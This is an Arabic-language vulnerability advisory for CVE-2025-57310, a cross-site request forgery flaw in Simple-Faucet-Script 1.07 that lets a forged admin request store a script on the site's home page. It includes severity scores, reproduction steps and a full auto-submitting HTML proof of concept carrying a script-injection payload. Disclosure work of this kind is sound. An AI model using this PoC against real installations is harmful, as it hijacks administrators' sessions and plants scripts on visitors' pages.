CVE-2025-57310

ثغرة أمنية من نوع تزوير الطلب عبر المواقع (CSRF) في Salmen2/Simple-Faucet-Script الإصدار 1.07 عبر طلب POST مٌصمم إلى admin.php?p=ads&c=1، مما يسمح للمهاجمين بتنفيذ كود تعسفي.

CWE

CWE-352: تزوير الطلب عبر المواقع (CSRF)

CVSS v3.1 النتيجة الأساسية: 8.8 (عالي)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

ملخص

المنتج عرضة لهجوم تزوير الطلب عبر المواقع (CSRF) على لوحة الإدارة. عندما يزور مسؤول موثوق صفحة ضارة تحتوي على كود الإثبات (PoC)، يتسبب هجوم CSRF في تعديل غير مصرح به لمحتوى الصفحة الرئيسية.

خطوات الإعادة

تسجيل الدخول كمسؤول على https://example.com/admin.php
فتح كود الإثبات (PoC) التالي، لاحظ ظهور نافذة تنبيه على الصفحة الرئيسية (Stored XSS).

<!DOCTYPE html>
  <html>
  <head>
      <title>CSRF PoC</title>
  </head>
  <body>
      <h3>Standard CSRF PoC</h3>
      <form action="https://example.com/admin.php?p=ads&c=1" method="post">
        <input type="hidden" name="spacetop" value="<script>alert();</script>" />
          <input type="submit" value="Submit request" />
      </form>
      <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
      </script>
  </body>
  </html>

CVE-2025-57310

الأكثر شعبية

التأثير

الإسناد